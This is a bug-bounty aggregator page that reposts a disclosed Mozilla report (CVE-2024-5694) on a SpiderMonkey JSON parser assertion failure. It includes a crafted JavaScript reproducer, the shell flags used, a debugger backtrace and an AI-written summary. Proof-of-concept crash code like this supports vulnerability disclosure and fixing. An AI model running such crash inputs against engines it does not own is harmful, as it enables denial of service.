Skip to content
DoS Disclosed report Advanced CVE-2024-5694

Assertion failure: (current[-1] == 'l', ...) , at vm/JSONParser.cpp:244

A crafted JavaScript input causes an assertion failure in the JSON parser of the SpiderMonkey engine, specifically in the advanceAfterProperty function. An attacker could potentially crash the JavaScript shell or cause a denial of service when parsing malicious JSON.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 17 days
  • Paid in 24 days
  • Disclosed after 17 days
Text
Steps to reproduce:

On git commit 38377227b8f96fda8f418db614e6a8aa67d01c31 the attached sample asserts in the js-shell when invoked as `obj-x86_64-pc-linux-gnu/dist/bin/js --fast-warmup --fuzzing-safe --gc-zeal=14 crash.js`
Bisecting points to commit 45832c17d5e63d06a6dee45033851041aff1ddea related to bug 1879918.

'''
for (let v0 = 0; v0 < 100; v0++) {
    class C1 { }
    new C1();
    eval();
    const v17 = ensureLinearString(("{ \"phbbbbbbbbbbbbbbttt!!!!??\": [1] }").substr(0, ("{ \"phbbbbbbbbbbbbbbttt!!!!??\": [1] }").length / 2) + ("{ \"phbbbbbbbbbbbbbbttt!!!!??\": [1] }").substr(("{ \"phbbbbbbbbbbbbbbttt!!!!??\": [1] }").length / 2));
    ensureLinearString(newRope(newRope(v17, "\n"), "toLowerCase"));
    JSON.parse(v17);
}
'''

'''
#0  AssertPastValue<unsigned char> (current=...) at js/src/vm/JSONParser.cpp:237
#1  0x000055555762cb14 in js::JSONTokenizer<unsigned char, js::JSONPerHandlerParser<unsigned char, js::JSONFullParseHandler<unsigned char> >, js::JSONFullParseHandler<unsigned char>::StringBuilder>::advanceAfterProperty (this=this@entry=0x7fffffffcb58) at js/src/vm/JSONParser.cpp:250
#2  0x00005555575db517 in js::JSONPerHandlerParser<unsigned char, js::JSONFullParseHandler<unsigned char> >::parseImpl<JS::Rooted<JS::Value>, js::JSONParser<unsigned char>::parse(JS::MutableHandle<JS::Value>)::{lambda(JS::Handle<JS::Value>)#1}>(JS::Rooted<JS::Value>&, js::JSONParser<unsigned char>::parse(JS::MutableHandle<JS::Value>)::{lambda(JS::Handle<JS::Value>)#1}) (
    this=this@entry=0x7fffffffca78, value=..., setResult=setResult@entry=...) at js/src/vm/JSONParser.cpp:874
#3  0x00005555575db32b in js::JSONParser<unsigned char>::parse (this=0x7fffffffca78, vp=...) at js/src/vm/JSONParser.cpp:1070
#4  0x000055555734b895 in js::MutableWrappedPtrOperations<js::JSONParser<unsigned char>, JS::Rooted<js::JSONParser<unsigned char> > >::parse (this=0x7fffffffca60, vp=...)
    at js/src/vm/JSONParser.h:653
#5  ParseJSON<unsigned char> (cx=cx@entry=0x7ffff7439100, chars=..., vp=vp@entry=...) at js/src/builtin/JSON.cpp:1956
#6  0x000055555734b267 in js::ParseJSONWithReviver<unsigned char> (cx=cx@entry=0x7ffff7439100, chars=..., reviver=reviver@entry=..., vp=vp@entry=...) at js/src/builtin/JSON.cpp:1973
#7  0x00005555573ae972 in json_parse (cx=0x7ffff7439100, argc=<optimised out>, vp=<optimised out>) at js/src/builtin/JSON.cpp:2024
#8  0x0000082f78341be3 in ?? ()
#9  0x000000000000015f in ?? ()
#10 0x00007fffffffd3e8 in ?? ()
#11 0x00007ffff542f4e4 in ?? ()
#12 0x0000000000000000 in ?? ()
'''

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The vulnerability could cause a denial of service by crashing the JavaScript shell, but the report does not demonstrate any further impact such as code execution.

What the attacker needed

Ability to run the js-shell with specific flags; crafted JavaScript input

How it was found

  1. Run the js-shell with the provided flags and the crash.js script.
  2. The script repeatedly creates a class, calls eval, and constructs a string using ensureLinearString and newRope.
  3. The script then calls JSON.parse on the constructed string, which triggers the assertion.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a bug in a JavaScript engine's JSON parser that makes it crash when given a specially crafted input. The crash is an assertion failure, which is a check the developers put in to catch unexpected states; it means the parser got confused and stopped working. An attacker could use this to crash a program that uses the engine, but it is not clear if it can do more than that.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.